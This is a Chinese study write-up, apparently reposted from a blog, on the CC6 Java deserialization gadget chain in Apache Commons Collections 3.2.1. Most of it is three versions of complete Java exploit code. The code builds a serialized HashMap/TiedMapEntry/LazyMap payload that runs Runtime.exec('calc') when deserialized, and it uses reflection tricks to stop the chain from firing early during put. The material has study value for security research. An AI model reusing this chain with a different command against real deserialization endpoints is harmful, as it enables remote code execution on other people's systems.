CC6学习记录
🌸 cc6
cc6
和cc1
的国外链其实后半条链子是一样的,但是cc6
的不局限于jdk
的版本和commons-collections
的版本。
回忆一下cc1
的后半条链子:
LazyMap.get()->InvokerTransformer.transform()
这里我们就结合了URLDNS链
的思路,在URLDNS
链中,我们知道HashMap
中的readObject
方法,调用了hashCode
方法,如果我们能够找到某一个类的hashCode
方法,在hashCode
方法中调用了get
方法。那么整个链子我们也是可以形成的。
之后便找到了TiedMapEntry
类,在这个类中的hashCode
方法调用了getValue
方法
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
查看TiedMapEntry
类中的getValue
方法,发现其中调用了get
方法。此时到了这里就和之前的URLDNS
链子的前面部分很类似!当我们创建一个HashMap
,然后HashMap
里面写入TiedMapEntry
,当反序列化的时候,便会调用调用hash(key)
,从而调用key.hashCode()
方法,而此时的key
便是我们传入的TiedMapEntry
对象。
那就可以直接利用cc1的后半条链直接继续完善:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6Test {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<String, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
serialization(map2);
unserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void unserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));
objectInputStream.readObject();
objectInputStream.close();
}
}
但是这还是会存在一个问题,就是当时在学习URLDNS
链的时候,当map.put
的时候,就触发了整个链子的执行,因此我们还是需要组织这个链子的执行!
🌸 绕过map.put触发攻击链
整个链子的前半部分其实和URLDNS
链是非常类似的,在URLDNS
链中我们需要绕过hashCode
,因为在map.put()
的时候,便已经将整个链子走完了,因此需要绕过一下。
首先HashMap
里面放的是tiedMapEntry
,而tiedMapEntry
里面则放的是LazyMap
,LazyMap
里面放的是ChainedTransformer
,最后ChainedTransformer
里面放的是Transformer
。于是我们可以在put之前,将上述的任意一个置空,因为他们是嵌套的,所以只需要置空一个即可!
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6Test {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<String, Object> map = new HashMap<>();
//这里将LazyMap里面的factroy置空了
Map lazymap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
//当put结束之后,我们还需要通过反射机制,将原来的lazyMap改回去
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
// serialization(map2);
unserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void unserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));
objectInputStream.readObject();
objectInputStream.close();
}
}
于是这里我们就绕过了put
时触发。但是我们发现还是执行不了代码。继续看看put
时发生了什么:
这里发现会判断key
是不是存在,如果不存在,则会走进if,如果存在的话就直接return
。我们反序列化的时候,肯定是为了进入if
条件,从而执行factory.transform(key)
方法!
所以我们需要在put
执行完毕之后,将lazyMap
里面的key
删除掉。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6Test {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<String, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
// serialization(map2);
unserialization();
}
public static void serialization(Object o) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));
objectOutputStream.writeObject(o);
objectOutputStream.close();
}
public static void unserialization() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));
objectInputStream.readObject();
objectInputStream.close();
}
}
🌸 总结
cc6
很像是URLDNS
链和CC1
的联合体。CC6
也是基于commons-collection 3.2.1
,但是CC6
由于是HashMap
作为入口,因此它并不依赖于jdk
的版本,相当于是版本通杀的。
原文地址:https://blog.csdn.net/weixin_44770698/article/details/143808334
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!